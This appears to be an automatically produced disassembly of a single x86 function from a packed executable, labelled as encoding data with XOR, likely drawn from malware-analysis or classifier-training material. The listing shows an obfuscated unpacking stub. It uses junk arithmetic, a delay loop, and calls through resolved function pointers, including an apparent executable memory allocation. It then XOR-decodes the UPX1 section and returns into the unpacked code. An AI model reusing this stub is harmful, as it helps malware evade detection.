Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x665cf579
sub edi, 0x75ad922
sub ecx, 0xea3c304a
popal
not edi
sub edi, ecx
mov ecx, 0
mov eax, edx
sub ebx, edi
add ebx, 0xd16ab48d
mov esi, eax
and edi, ebx
mov ebx, 0x2b26af
mov edx, esi
sub edi, ebx
sub edi, 0x10ba113b
inc ecx
not ebx
add edi, edi
cmp ecx, 0x100d6c7
jne 0xa789c8
not ebx
sub edi, ebx
sub edi, ecx
dec ecx
not ecx
mov esi, 0xa78796
mov ecx, edx
dec eax
dec ecx
mov edi, 0xa7898a
sub eax, 0x7e34be80
add edx, eax
inc eax
mov ebx, dword [esi]
mov ecx, 0x34c0bfba
add eax, 0xf51effa6
and ebx, 0xff
mov eax, edx
and edx, ecx
xor dword [edi], ebx
inc ecx
and edx, edx
inc edi
and ecx, eax
sub ecx, 0x8f59be30
add ecx, 1
inc esi
sub eax, edx
and ecx, edx
cmp edi, entry0
jl 0xa78a16
or ecx, eax
dec ecx
or edx, edx
not eax
and ecx, eax
mov ecx, 0xe3a24fcd
not edi
sub ebx, 0xf9f47621
sub ebx, 0x6cad2ef6
mov ecx, 0xa7898e
or edi, esi
mov ebx, 0x3d0f5288
mov edx, esi
mov ecx, dword [ecx]
sub esi, 0x8a63c34
sub esi, 0x190eee0c
mov edi, 0xcd6a47cc
mov ecx, dword [ecx]
and edx, ebx
mov ebx, esi
sub esp, 4
mov dword [esp], ecx
sub edx, 0x6e2a5c62
sub esi, 0x9b1da480
or edi, esi
mov ecx, 0xa7898a
mov ebx, 0x705d638e
or esi, edi
mov ecx, dword [ecx]
sub edx, edi
mov ebx, 0xe8ef474
mov ecx, dword [ecx]
not ebx
sub esi, 0x229ee500
push 0xa78992
and edi, edx
or ebx, esi
inc edx
call ecx
mov edi, 0x387bfd8c
sub ebx, edx
not esi
pop ecx
add ebx, 0x10b69cb8
or esi, edi
push 0xa7899f
dec ebx
mov edx, esi
mov ebx, edi
push eax
and edx, ebx
or edi, ebx
dec ebx
call ecx
or edx, esi
sub edx, ebx
push 0x40
not edx
and edx, edi
add edi, 0xf38b5306
push 0x3000
or edx, esi
sub edx, 0x623b0992
sub esi, edx
push 0x2000088d
sub edi, edx
not edi
add ebx, edx
push 0
or ebx, esi
sub edx, edi
call eax
inc edx
or edi, esi
add eax, 0x20000811
and edi, edi
add edx, 1
inc esi
mov ecx, 0x214e9f0
mov edx, 0x3949a971
add esi, 0xf5accc20
or ebx, edx
mov dword [eax], ecx
sub edx, 0x54fb967d
or edi, edi
mov ecx, dword [eax]
add esi, 0x6c850722
sub edi, esi
cmp ecx, 0x214e9f0
je 0xa78b77
mov ebx, 0
mov al, byte [ebx]
mov ebx, edi
add ebx, 1
or ebx, edi
mov ebx, 0x412dcdf9
dec edx
inc edi
mov ecx, 0xaf643ba9
sub edi, 0x474a6d90
sub edi, ecx
mov ebx, section.UPX1
sub edi, 0xf1376388
dec edi
mov esi, 0xa78795
add edi, 0x2c7c7933
inc edi
mov edx, 0
or edi, edi
mov edi, ecx
mov eax, 0xa78796
not ecx
or ecx, edi
lea eax, [edx + eax]
not edi
sub ecx, 0xf64de3ed
add edi, ecx
mov eax, dword [eax]
mov edi, ecx
sub ecx, 0xa5bae67f
and eax, 0xff
or edi, ecx
add ecx, 0xf47b88c2
add edx, 1
mov edi, ecx
dec edi
cmp edx, 0x1f4
jne 0xa78bfa
mov edx, 0
sub edi, ecx
sub edi, ecx
mov ecx, edi
or ecx, edi
inc edi
xor dword [ebx], eax
sub ecx, 0x405369a4
and ecx, edi
add ebx, 2
sub edi, ecx
add ecx, 0x56dfc66c
add edi, 0xbc682690
cmp ebx, esi
jl 0xa78bb6
sub edi, 0x9f8b319b
sub ecx, 0xef305c10
add ecx, 0x9c495da4
sub edi, ecx
mov ecx, 0x6b6717a3
mov ebx, section.UPX1
sub edi, 1
add edi, 0xe23e959d
inc edi
mov esi, section.UPX1
mov eax, edi
add edi, 0xc4ab8523
mov edx, 0xa78795
mov eax, edi
inc eax
inc eax
mov ecx, 0
add eax, 0x1eeb8111
not eax
mov cl, byte [esi]
add edi, 0xd4766a23
add edi, 0x95fd2e22
mov byte [ebx], cl
sub eax, 1
or eax, eax
and edi, edi
inc ebx
sub edi, 0x2ef967bb
or edi, eax
or eax, eax
add esi, 2
not eax
dec edi
cmp esi, edx
jle 0xa78c77
or eax, edi
add eax, 0xdf5a20eb
add eax, 0x2ee7e7be
sub ecx, edi
dec edi
push 0x8dc6a0
sub edi, ecx
and ecx, ecx
sub edi, 0xf6604ca8
ret